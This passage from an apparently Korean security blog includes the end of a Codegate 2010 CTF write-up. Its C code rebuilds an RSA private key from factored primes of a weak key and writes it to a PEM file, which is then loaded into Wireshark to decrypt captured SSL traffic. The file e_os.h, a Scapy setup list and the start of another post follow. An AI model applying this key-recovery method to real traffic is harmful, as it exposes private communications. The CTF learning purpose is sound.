\u0026amp;local_d; BN_with_flags(d, p_tRSAKey-\u0026gt;d, BN_FLG_CONSTTIME); } else d = p_tRSAKey-\u0026gt;d; /* calculate d mod (p-1) */ if (!BN_mod(p_tRSAKey-\u0026gt;dmp1,d,r1,ctx)) goto err; /* calculate d mod (q-1) */ if (!BN_mod(p_tRSAKey-\u0026gt;dmq1,d,r2,ctx)) goto err; /* calculate inverse of q mod p */ if (!(p_tRSAKey-\u0026gt;flags \u0026amp; RSA_FLAG_NO_CONSTTIME)) { p = \u0026amp;local_p; BN_with_flags(p, p_tRSAKey-\u0026gt;p, BN_FLG_CONSTTIME); } else p = p_tRSAKey-\u0026gt;p; if (!BN_mod_inverse(p_tRSAKey-\u0026gt;iqmp,p_tRSAKey-\u0026gt;q,p,ctx)) goto err; // Write the RSA structure to a PEM file if ((out=BIO_new(BIO_s_file())) == NULL) { printf(\u0026#34;unable to create BIO for output\\n\u0026#34;); goto err; } if (BIO_write_filename(out,\u0026#34;newkey.pem\u0026#34;) \u0026lt;= 0) { perror(\u0026#34;newkey.pem\u0026#34;); goto err; } // Output RSA Key in PEM format (without password !) if (!PEM_write_bio_RSAPrivateKey(out,p_tRSAKey,NULL,NULL,0,NULL,NULL)) goto err; // ALL OK ! ok=1; err: if (ok == -1) { printf(\u0026#34;Actions failed\\n\u0026#34;); ok=0; } if (ctx != NULL) { BN_CTX_end(ctx); BN_CTX_free(ctx); } return ok; } e_os.h\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 /* e_os.h */ /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) * All rights reserved. * * This package is an SSL implementation written * by Eric Young (eay@cryptsoft.com). * The implementation was written so as to conform with Netscapes SSL. * * This library is free for commercial and non-commercial use as long as * the following conditions are aheared to. The following conditions * apply to all code found in this distribution, be it the RC4, RSA, * lhash, DES, etc., code; not just the SSL code. The SSL documentation * included with this distribution is covered by the same copyright terms * except that the holder is Tim Hudson (tjh@cryptsoft.com). * * Copyright remains Eric Young\u0026#39;s, and as such any Copyright notices in * the code are not to be removed. * If this package is used in a product, Eric Young should be given attribution * as the author of the parts of the library used. * This can be in the form of a textual message at program startup or * in documentation (online or textual) provided with the package. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * \u0026#34;This product includes cryptographic software written by * Eric Young (eay@cryptsoft.com)\u0026#34; * The word \u0026#39;cryptographic\u0026#39; can be left out if the rouines from the library * being used are not cryptographic related :-). * 4. If you include any Windows specific code (or a derivative thereof) from * the apps directory (application code) you must include an acknowledgement: * \u0026#34;This product includes software written by Tim Hudson (tjh@cryptsoft.com)\u0026#34; * * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS\u0026#39;\u0026#39; AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * The licence and distribution terms for any publically available version or * derivative of this code cannot be changed. i.e. this code cannot simply be * copied and put under another distribution licence * [including the GNU Public Licence.] */ #ifndef HEADER_E_OS_H #define HEADER_E_OS_H #include \u0026lt;openssl/opensslconf.h\u0026gt; #include \u0026lt;openssl/e_os2.h\u0026gt; /* \u0026lt;openssl/e_os2.h\u0026gt; contains what we can justify to make visible * to the outside; this file e_os.h is not part of the exported * interface. */ #ifdef __cplusplus extern \u0026#34;C\u0026#34; { #endif /* Used to checking reference counts, most while doing perl5 stuff :-) */ #ifdef REF_PRINT #undef REF_PRINT #define REF_PRINT(a,b) fprintf(stderr,\u0026#34;%08X:%4d:%s\\n\u0026#34;,(int)b,b-\u0026gt;references,a) #endif #ifndef DEVRANDOM /* set this to a comma-separated list of \u0026#39;random\u0026#39; device files to try out. * My default, we will try to read at least one of these files */ #define DEVRANDOM \u0026#34;/dev/urandom\u0026#34;,\u0026#34;/dev/random\u0026#34;,\u0026#34;/dev/srandom\u0026#34; #endif #ifndef DEVRANDOM_EGD /* set this to a comma-seperated list of \u0026#39;egd\u0026#39; sockets to try out. These * sockets will be tried in the order listed in case accessing the device files * listed in DEVRANDOM did not return enough entropy. */ #define DEVRANDOM_EGD \u0026#34;/var/run/egd-pool\u0026#34;,\u0026#34;/dev/egd-pool\u0026#34;,\u0026#34;/etc/egd-pool\u0026#34;,\u0026#34;/etc/entropy\u0026#34; #endif #if defined(OPENSSL_SYS_VXWORKS) # define NO_SYS_PARAM_H # define NO_CHMOD # define NO_SYSLOG #endif #if defined(OPENSSL_SYS_MACINTOSH_CLASSIC) # if macintosh==1 # ifndef MAC_OS_GUSI_SOURCE # define MAC_OS_pre_X # define NO_SYS_TYPES_H typedef long ssize_t; # endif # define NO_SYS_PARAM_H # define NO_CHMOD # define NO_SYSLOG # undef DEVRANDOM # define GETPID_IS_MEANINGLESS # endif #endif /******************************************************************** The Microsoft section ********************************************************************/ /* The following is used becaue of the small stack in some * Microsoft operating systems */ #if defined(OPENSSL_SYS_MSDOS) \u0026amp;\u0026amp; !defined(OPENSSL_SYSNAME_WIN32) # define MS_STATIC static #else # define MS_STATIC #endif #if defined(OPENSSL_SYS_WIN32) \u0026amp;\u0026amp; !defined(WIN32) # define WIN32 #endif #if defined(OPENSSL_SYS_WIN16) \u0026amp;\u0026amp; !defined(WIN16) # define WIN16 #endif #if defined(OPENSSL_SYS_WINDOWS) \u0026amp;\u0026amp; !defined(WINDOWS) # define WINDOWS #endif #if defined(OPENSSL_SYS_MSDOS) \u0026amp;\u0026amp; !defined(MSDOS) # define MSDOS #endif #if defined(MSDOS) \u0026amp;\u0026amp; !defined(GETPID_IS_MEANINGLESS) # define GETPID_IS_MEANINGLESS #endif #ifdef WIN32 #define get_last_sys_error() GetLastError() #define clear_sys_error() SetLastError(0) #if !defined(WINNT) #define WIN_CONSOLE_BUG #endif #else #define get_last_sys_error() errno #define clear_sys_error() errno=0 #endif #if defined(WINDOWS) #define get_last_socket_error() WSAGetLastError() #define clear_socket_error() WSASetLastError(0) #define readsocket(s,b,n) recv((s),(b),(n),0) #define writesocket(s,b,n) send((s),(b),(n),0) #define EADDRINUSE WSAEADDRINUSE #elif defined(__DJGPP__) #define WATT32 #define get_last_socket_error() errno #define clear_socket_error() errno=0 #define closesocket(s) close_s(s) #define readsocket(s,b,n) read_s(s,b,n) #define writesocket(s,b,n) send(s,b,n,0) #elif defined(MAC_OS_pre_X) #define get_last_socket_error() errno #define clear_socket_error() errno=0 #define closesocket(s) MacSocket_close(s) #define readsocket(s,b,n) MacSocket_recv((s),(b),(n),true) #define writesocket(s,b,n) MacSocket_send((s),(b),(n)) #elif defined(OPENSSL_SYS_VMS) #define get_last_socket_error() errno #define clear_socket_error() errno=0 #define ioctlsocket(a,b,c) ioctl(a,b,c) #define closesocket(s) close(s) #define readsocket(s,b,n) recv((s),(b),(n),0) #define writesocket(s,b,n) send((s),(b),(n),0) #elif defined(OPENSSL_SYS_VXWORKS) #define get_last_socket_error() errno #define clear_socket_error() errno=0 #define ioctlsocket(a,b,c) ioctl((a),(b),(int)(c)) #define closesocket(s) close(s) #define readsocket(s,b,n) read((s),(b),(n)) #define writesocket(s,b,n) write((s),(char *)(b),(n)) #elif defined(OPENSSL_SYS_NETWARE) #if defined(NETWARE_BSDSOCK) #define get_last_socket_error() errno #define clear_socket_error() errno=0 #define closesocket(s) close(s) #define ioctlsocket(a,b,c) ioctl(a,b,c) #if defined(NETWARE_LIBC) #define readsocket(s,b,n) recv((s),(b),(n),0) #define writesocket(s,b,n) send((s),(b),(n),0) #else #define readsocket(s,b,n) recv((s),(char*)(b),(n),0) #define writesocket(s,b,n) send((s),(char*)(b),(n),0) #endif #else #define get_last_socket_error() WSAGetLastError() #define clear_socket_error() WSASetLastError(0) #define readsocket(s,b,n) recv((s),(b),(n),0) #define writesocket(s,b,n) send((s),(b),(n),0) #endif #else #define get_last_socket_error() errno #define clear_socket_error() errno=0 #define ioctlsocket(a,b,c) ioctl(a,b,c) #define closesocket(s) close(s) #define readsocket(s,b,n) read((s),(b),(n)) #define writesocket(s,b,n) write((s),(b),(n)) #endif #ifdef WIN16 # define MS_CALLBACK _far _loadds # define MS_FAR _far #else # define MS_CALLBACK # define MS_FAR #endif #ifdef OPENSSL_NO_STDIO # undef OPENSSL_NO_FP_API # define OPENSSL_NO_FP_API #endif #if (defined(WINDOWS) || defined(MSDOS)) # ifdef __DJGPP__ # include \u0026lt;unistd.h\u0026gt; # include \u0026lt;sys/stat.h\u0026gt; # include \u0026lt;sys/socket.h\u0026gt; # include \u0026lt;tcp.h\u0026gt; # include \u0026lt;netdb.h\u0026gt; # define _setmode setmode # define _O_TEXT O_TEXT # define _O_BINARY O_BINARY # undef DEVRANDOM # define DEVRANDOM \u0026#34;/dev/urandom\\x24\u0026#34; # endif /* __DJGPP__ */ # ifndef S_IFDIR # define S_IFDIR _S_IFDIR # endif # ifndef S_IFMT # define S_IFMT _S_IFMT # endif # if !defined(WINNT) \u0026amp;\u0026amp; !defined(__DJGPP__) # define NO_SYSLOG # endif # define NO_DIRENT # ifdef WINDOWS # if !defined(_WIN32_WCE) \u0026amp;\u0026amp; !defined(_WIN32_WINNT) /* * Defining _WIN32_WINNT here in e_os.h implies certain \u0026#34;discipline.\u0026#34; * Most notably we ought to check for availability of each specific * routine with GetProcAddress() and/or quard NT-specific calls with * GetVersion() \u0026lt; 0x80000000. One can argue that in latter \u0026#34;or\u0026#34; case * we ought to /DELAYLOAD some .DLLs in order to protect ourselves * against run-time link errors. This doesn\u0026#39;t seem to be necessary, * because it turned out that already Windows 95, first non-NT Win32 * implementation, is equipped with at least NT 3.51 stubs, dummy * routines with same name, but which do nothing. Meaning that it\u0026#39;s * apparently appropriate to guard generic NT calls with GetVersion * alone, while NT 4.0 and above calls ought to be additionally * checked upon with GetProcAddress. */ # define _WIN32_WINNT 0x0400 # endif # include \u0026lt;windows.h\u0026gt; # include \u0026lt;stdio.h\u0026gt; # include \u0026lt;stddef.h\u0026gt; # include \u0026lt;errno.h\u0026gt; # include \u0026lt;string.h\u0026gt; # ifdef _WIN64 # define strlen(s) _strlen31(s) /* cut strings to 2GB */ static unsigned int _strlen31(const char *str) { unsigned int len=0; while (*str \u0026amp;\u0026amp; len\u0026lt;0x80000000U) str++, len++; return len\u0026amp;0x7FFFFFFF; } # endif # include \u0026lt;malloc.h\u0026gt; # if defined(_MSC_VER) \u0026amp;\u0026amp; _MSC_VER\u0026lt;=1200 \u0026amp;\u0026amp; defined(_MT) \u0026amp;\u0026amp; defined(isspace) /* compensate for bug in VC6 ctype.h */ # undef isspace # undef isdigit # undef isalnum # undef isupper # undef isxdigit # endif # if defined(_MSC_VER) \u0026amp;\u0026amp; !defined(_DLL) \u0026amp;\u0026amp; defined(stdin) # if _MSC_VER\u0026gt;=1300 # undef stdin # undef stdout # undef stderr FILE *__iob_func(); # define stdin (\u0026amp;__iob_func()[0]) # define stdout (\u0026amp;__iob_func()[1]) # define stderr (\u0026amp;__iob_func()[2]) # elif defined(I_CAN_LIVE_WITH_LNK4049) # undef stdin # undef stdout # undef stderr /* pre-1300 has __p__iob(), but it\u0026#39;s available only in msvcrt.lib, * or in other words with /MD. Declaring implicit import, i.e. * with _imp_ prefix, works correctly with all compiler options, * but without /MD results in LINK warning LNK4049: * \u0026#39;locally defined symbol \u0026#34;__iob\u0026#34; imported\u0026#39;. */ extern FILE *_imp___iob; # define stdin (\u0026amp;_imp___iob[0]) # define stdout (\u0026amp;_imp___iob[1]) # define stderr (\u0026amp;_imp___iob[2]) # endif # endif # endif # include \u0026lt;io.h\u0026gt; # include \u0026lt;fcntl.h\u0026gt; # ifdef OPENSSL_SYS_WINCE # include \u0026lt;winsock_extras.h\u0026gt; # endif # define ssize_t long # if defined (__BORLANDC__) # define _setmode setmode # define _O_TEXT O_TEXT # define _O_BINARY O_BINARY # define _int64 __int64 # define _kbhit kbhit # endif # if defined(WIN16) \u0026amp;\u0026amp; defined(SSLEAY) \u0026amp;\u0026amp; defined(_WINEXITNOPERSIST) # define EXIT(n) _wsetexit(_WINEXITNOPERSIST) # define OPENSSL_EXIT(n) do { if (n == 0) EXIT(n); return(n); } while(0) # else # define EXIT(n) exit(n) # endif # define LIST_SEPARATOR_CHAR \u0026#39;;\u0026#39; # ifndef X_OK # define X_OK 0 # endif # ifndef W_OK # define W_OK 2 # endif # ifndef R_OK # define R_OK 4 # endif # define OPENSSL_CONF \u0026#34;openssl.cnf\u0026#34; # define SSLEAY_CONF OPENSSL_CONF # define NUL_DEV \u0026#34;nul\u0026#34; # define RFILE \u0026#34;.rnd\u0026#34; # ifdef OPENSSL_SYS_WINCE # define DEFAULT_HOME \u0026#34;\u0026#34; # else # define DEFAULT_HOME \u0026#34;C:\u0026#34; # endif #else /* The non-microsoft world world */ # ifdef OPENSSL_SYS_VMS # define VMS 1 /* some programs don\u0026#39;t include stdlib, so exit() and others give implicit function warnings */ # include \u0026lt;stdlib.h\u0026gt; # if defined(__DECC) # include \u0026lt;unistd.h\u0026gt; # else # include \u0026lt;unixlib.h\u0026gt; # endif # define OPENSSL_CONF \u0026#34;openssl.cnf\u0026#34; # define SSLEAY_CONF OPENSSL_CONF # define RFILE \u0026#34;.rnd\u0026#34; # define LIST_SEPARATOR_CHAR \u0026#39;,\u0026#39; # define NUL_DEV \u0026#34;NLA0:\u0026#34; /* We don\u0026#39;t have any well-defined random devices on VMS, yet... */ # undef DEVRANDOM /* We need to do this since VMS has the following coding on status codes: Bits 0-2: status type: 0 = warning, 1 = success, 2 = error, 3 = info ... The important thing to know is that odd numbers are considered good, while even ones are considered errors. Bits 3-15: actual status number Bits 16-27: facility number. 0 is considered \u0026#34;unknown\u0026#34; Bits 28-31: control bits. If bit 28 is set, the shell won\u0026#39;t try to output the message (which, for random codes, just looks ugly) So, what we do here is to change 0 to 1 to get the default success status, and everything else is shifted up to fit into the status number field, and the status is tagged as an error, which I believe is what is wanted here. -- Richard Levitte */ # define EXIT(n) do { int __VMS_EXIT = n; \\ if (__VMS_EXIT == 0) \\ __VMS_EXIT = 1; \\ else \\ __VMS_EXIT = (n \u0026lt;\u0026lt; 3) | 2; \\ __VMS_EXIT |= 0x10000000; \\ exit(__VMS_EXIT); } while(0) # define NO_SYS_PARAM_H # elif defined(OPENSSL_SYS_NETWARE) # include \u0026lt;fcntl.h\u0026gt; # include \u0026lt;unistd.h\u0026gt; # define NO_SYS_TYPES_H # undef DEVRANDOM # ifdef NETWARE_CLIB # define getpid GetThreadID extern int GetThreadID(void); /* # include \u0026lt;conio.h\u0026gt; */ extern int kbhit(void); extern void delay(unsigned milliseconds); # else # include \u0026lt;screen.h\u0026gt; # endif # define NO_SYSLOG # define _setmode setmode # define _kbhit kbhit # define _O_TEXT O_TEXT # define _O_BINARY O_BINARY # define OPENSSL_CONF \u0026#34;openssl.cnf\u0026#34; # define SSLEAY_CONF OPENSSL_CONF # define RFILE \u0026#34;.rnd\u0026#34; # define LIST_SEPARATOR_CHAR \u0026#39;;\u0026#39; # define EXIT(n) { if (n) printf(\u0026#34;ERROR: %d\\n\u0026#34;, (int)n); exit(n); } # else /* !defined VMS */ # ifdef OPENSSL_SYS_MPE # define NO_SYS_PARAM_H # endif # ifdef OPENSSL_UNISTD # include OPENSSL_UNISTD # else # include \u0026lt;unistd.h\u0026gt; # endif # ifndef NO_SYS_TYPES_H # include \u0026lt;sys/types.h\u0026gt; # endif # if defined(NeXT) || defined(OPENSSL_SYS_NEWS4) # define pid_t int /* pid_t is missing on NEXTSTEP/OPENSTEP * (unless when compiling with -D_POSIX_SOURCE, * which doesn\u0026#39;t work for us) */ # endif # if defined(NeXT) || defined(OPENSSL_SYS_NEWS4) || defined(OPENSSL_SYS_SUNOS) # define ssize_t int /* ditto */ # endif # ifdef OPENSSL_SYS_NEWS4 /* setvbuf is missing on mips-sony-bsd */ # define setvbuf(a, b, c, d) setbuffer((a), (b), (d)) typedef unsigned long clock_t; # endif # define OPENSSL_CONF \u0026#34;openssl.cnf\u0026#34; # define SSLEAY_CONF OPENSSL_CONF # define RFILE \u0026#34;.rnd\u0026#34; # define LIST_SEPARATOR_CHAR \u0026#39;:\u0026#39; # define NUL_DEV \u0026#34;/dev/null\u0026#34; # define EXIT(n) exit(n) # endif # define SSLeay_getpid() getpid() #endif /*************/ #ifdef USE_SOCKETS # if defined(WINDOWS) || defined(MSDOS) /* windows world */ # ifdef OPENSSL_NO_SOCK # define SSLeay_Write(a,b,c) (-1) # define SSLeay_Read(a,b,c) (-1) # define SHUTDOWN(fd) close(fd) # define SHUTDOWN2(fd) close(fd) # elif !defined(__DJGPP__) # include \u0026lt;winsock.h\u0026gt; extern HINSTANCE _hInstance; # ifdef _WIN64 /* * Even though sizeof(SOCKET) is 8, it\u0026#39;s safe to cast it to int, because * the value constitutes an index in per-process table of limited size * and not a real pointer. */ # define socket(d,t,p) ((int)socket(d,t,p)) # define accept(s,f,l) ((int)accept(s,f,l)) # endif # define SSLeay_Write(a,b,c) send((a),(b),(c),0) # define SSLeay_Read(a,b,c) recv((a),(b),(c),0) # define SHUTDOWN(fd) { shutdown((fd),0); closesocket(fd); } # define SHUTDOWN2(fd) { shutdown((fd),2); closesocket(fd); } # else # define SSLeay_Write(a,b,c) write_s(a,b,c,0) # define SSLeay_Read(a,b,c) read_s(a,b,c) # define SHUTDOWN(fd) close_s(fd) # define SHUTDOWN2(fd) close_s(fd) # endif # elif defined(MAC_OS_pre_X) # include \u0026#34;MacSocket.h\u0026#34; # define SSLeay_Write(a,b,c) MacSocket_send((a),(b),(c)) # define SSLeay_Read(a,b,c) MacSocket_recv((a),(b),(c),true) # define SHUTDOWN(fd) MacSocket_close(fd) # define SHUTDOWN2(fd) MacSocket_close(fd) # elif defined(OPENSSL_SYS_NETWARE) /* NetWare uses the WinSock2 interfaces by default, but can be configured for BSD */ # if defined(NETWARE_BSDSOCK) # include \u0026lt;sys/socket.h\u0026gt; # include \u0026lt;netinet/in.h\u0026gt; # include \u0026lt;sys/time.h\u0026gt; # if defined(NETWARE_CLIB) # include \u0026lt;sys/bsdskt.h\u0026gt; # else # include \u0026lt;sys/select.h\u0026gt; # endif # define INVALID_SOCKET (int)(~0) # else # include \u0026lt;novsock2.h\u0026gt; # endif # define SSLeay_Write(a,b,c) send((a),(b),(c),0) # define SSLeay_Read(a,b,c) recv((a),(b),(c),0) # define SHUTDOWN(fd) { shutdown((fd),0); closesocket(fd); } # define SHUTDOWN2(fd) { shutdown((fd),2); closesocket(fd); } # else # ifndef NO_SYS_PARAM_H # include \u0026lt;sys/param.h\u0026gt; # endif # ifdef OPENSSL_SYS_VXWORKS # include \u0026lt;time.h\u0026gt; # elif !defined(OPENSSL_SYS_MPE) # include \u0026lt;sys/time.h\u0026gt; /* Needed under linux for FD_XXX */ # endif # include \u0026lt;netdb.h\u0026gt; # if defined(OPENSSL_SYS_VMS_NODECC) # include \u0026lt;socket.h\u0026gt; # include \u0026lt;in.h\u0026gt; # include \u0026lt;inet.h\u0026gt; # else # include \u0026lt;sys/socket.h\u0026gt; # ifdef FILIO_H # include \u0026lt;sys/filio.h\u0026gt; /* Added for FIONBIO under unixware */ # endif # include \u0026lt;netinet/in.h\u0026gt; # include \u0026lt;arpa/inet.h\u0026gt; # endif # if defined(NeXT) || defined(_NEXT_SOURCE) # include \u0026lt;sys/fcntl.h\u0026gt; # include \u0026lt;sys/types.h\u0026gt; # endif # ifdef OPENSSL_SYS_AIX # include \u0026lt;sys/select.h\u0026gt; # endif # ifdef __QNX__ # include \u0026lt;sys/select.h\u0026gt; # endif # if defined(sun) # include \u0026lt;sys/filio.h\u0026gt; # else # ifndef VMS # include \u0026lt;sys/ioctl.h\u0026gt; # else /* ioctl is only in VMS \u0026gt; 7.0 and when socketshr is not used */ # if !defined(TCPIP_TYPE_SOCKETSHR) \u0026amp;\u0026amp; defined(__VMS_VER) \u0026amp;\u0026amp; (__VMS_VER \u0026gt; 70000000) # include \u0026lt;sys/ioctl.h\u0026gt; # endif # endif # endif # ifdef VMS # include \u0026lt;unixio.h\u0026gt; # if defined(TCPIP_TYPE_SOCKETSHR) # include \u0026lt;socketshr.h\u0026gt; # endif # endif # define SSLeay_Read(a,b,c) read((a),(b),(c)) # define SSLeay_Write(a,b,c) write((a),(b),(c)) # define SHUTDOWN(fd) { shutdown((fd),0); closesocket((fd)); } # define SHUTDOWN2(fd) { shutdown((fd),2); closesocket((fd)); } # ifndef INVALID_SOCKET # define INVALID_SOCKET (-1) # endif /* INVALID_SOCKET */ # endif #endif #if defined(__ultrix) # ifndef ssize_t # define ssize_t int # endif #endif #if defined(sun) \u0026amp;\u0026amp; !defined(__svr4__) \u0026amp;\u0026amp; !defined(__SVR4) /* include headers first, so our defines don\u0026#39;t break it */ #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; /* bcopy can handle overlapping moves according to SunOS 4.1.4 manpage */ # define memmove(s1,s2,n) bcopy((s2),(s1),(n)) # define strtoul(s,e,b) ((unsigned long int)strtol((s),(e),(b))) extern char *sys_errlist[]; extern int sys_nerr; # define strerror(errnum) \\ (((errnum)\u0026lt;0 || (errnum)\u0026gt;=sys_nerr) ? NULL : sys_errlist[errnum]) /* Being signed SunOS 4.x memcpy breaks ASN1_OBJECT table lookup */ #include \u0026#34;crypto/o_str.h\u0026#34; # define memcmp OPENSSL_memcmp #endif #ifndef OPENSSL_EXIT # if defined(MONOLITH) \u0026amp;\u0026amp; !defined(OPENSSL_C) # define OPENSSL_EXIT(n) return(n) # else # define OPENSSL_EXIT(n) do { EXIT(n); return(n); } while(0) # endif #endif /***********************************************/ /* do we need to do this for getenv. * Just define getenv for use under windows */ #ifdef WIN16 /* How to do this needs to be thought out a bit more.... */ /*char *GETENV(char *); #define Getenv GETENV*/ #define Getenv getenv #else #define Getenv getenv #endif #define DG_GCC_BUG /* gcc \u0026lt; 2.6.3 on DGUX */ #ifdef sgi #define IRIX_CC_BUG /* all version of IRIX I\u0026#39;ve tested (4.* 5.*) */ #endif #ifdef OPENSSL_SYS_SNI #define IRIX_CC_BUG /* CDS++ up to V2.0Bsomething suffered from the same bug.*/ #endif #if defined(OPENSSL_SYS_WINDOWS) # define strcasecmp _stricmp # define strncasecmp _strnicmp #elif defined(OPENSSL_SYS_VMS) /* VMS below version 7.0 doesn\u0026#39;t have strcasecmp() */ # include \u0026#34;o_str.h\u0026#34; # define strcasecmp OPENSSL_strcasecmp # define strncasecmp OPENSSL_strncasecmp # define OPENSSL_IMPLEMENTS_strncasecmp #elif defined(OPENSSL_SYS_OS2) \u0026amp;\u0026amp; defined(__EMX__) # define strcasecmp stricmp # define strncasecmp strnicmp #elif defined(OPENSSL_SYS_NETWARE) # include \u0026lt;string.h\u0026gt; # if defined(NETWARE_CLIB) # define strcasecmp stricmp # define strncasecmp strnicmp # endif /* NETWARE_CLIB */ #endif #if defined(OPENSSL_SYS_OS2) \u0026amp;\u0026amp; defined(__EMX__) # include \u0026lt;io.h\u0026gt; # include \u0026lt;fcntl.h\u0026gt; # define NO_SYSLOG #endif /* vxworks */ #if defined(OPENSSL_SYS_VXWORKS) #include \u0026lt;ioLib.h\u0026gt; #include \u0026lt;tickLib.h\u0026gt; #include \u0026lt;sysLib.h\u0026gt; #define TTY_STRUCT int #define sleep(a) taskDelay((a) * sysClkRateGet()) #include \u0026lt;vxWorks.h\u0026gt; #include \u0026lt;sockLib.h\u0026gt; #include \u0026lt;taskLib.h\u0026gt; #define getpid taskIdSelf /* NOTE: these are implemented by helpers in database app! * if the database is not linked, we need to implement them * elswhere */ struct hostent *gethostbyname(const char *name); struct hostent *gethostbyaddr(const char *addr, int length, int type); struct servent *getservbyname(const char *name, const char *proto); #endif /* end vxworks */ #ifdef __cplusplus } #endif #endif 이제 해당 코드를 컴파일 하여 키를 생성해 보도록 하자.\n1 2 3 4 5 [byjjoon@ByJJoon SSL]$ gcc -lssl CreatePEM.c [byjjoon@ByJJoon SSL]$ ./a.out [byjjoon@ByJJoon SSL]$ ls a.out CreatePEM.c e_os.h newkey.pem [byjjoon@ByJJoon SSL]$ 생성된 키를 아래와 같이 Wireshark 에서 [Edit] - [Preferences] 메뉴에서 아래와 같이 설정 하도록 하자.\n적용 후 패킷을 확인해 보도록 하자.\n[참고] http://www.vnsecurity.net/2010/03/codegate-2010-challenge7-weak-ssl-cracking/ http://blog.stalkr.net/2010/03/codegate-decrypting-https-ssl-rsa-768.html http://linkc.tistory.com/133\n","date":"2010-06-25T21:55:04Z","permalink":"/2010/06/25/codegate-2010-challenge-7-%ED%92%80%EC%9D%B4/","title":"Codegate 2010 - Challenge 7 풀이"},{"content":" python 설치 - http://www.python.org Scapy 설치 - http://www.secdev.org/projects/scapy/ pywin32 설치 - http://python.net/crew/mhammond/win32/Downloads.html Winpcap 설치 - http://www.winpcap.org/ pypcap 설치 - http://code.google.com/p/pypcap/ libdnet 설치 - http://code.google.com/p/libdnet/ pyreadline 설치 - http://ipython.scipy.org/moin/PyReadline/Intro pycrypto 설치 - http://www.voidspace.org.uk/python/modules.shtml#pycrypto M2Crypto 설치 - http://chandlerproject.org/Projects/MeTooCrypto#Downloads 출처 : http://www.secdev.org/projects/scapy/doc/installation.html#windows\n","date":"2010-06-25T19:42:23Z","permalink":"/2010/06/25/windows%EC%97%90%EC%84%9C-scapy-%EC%82%AC%EC%9A%A9-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%84%B1/","title":"Windows에서 Scapy 사용 환경 구성"},{"content":"문제 환경은 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [byjjoon@ByJJoon RTL]$ cat /etc/redhat-release Fedora release 9 (Sulphur) [byjjoon@ByJJoon RTL]$ sysctl -a | grep random -bash: sysctl: command not found [byjjoon@ByJJoon RTL]$ /sbin/sysctl -a | grep random error: permission denied on key \u0026#39;kernel.cad_pid\u0026#39; kernel.random.poolsize = 4096 kernel.random.entropy_avail = 606 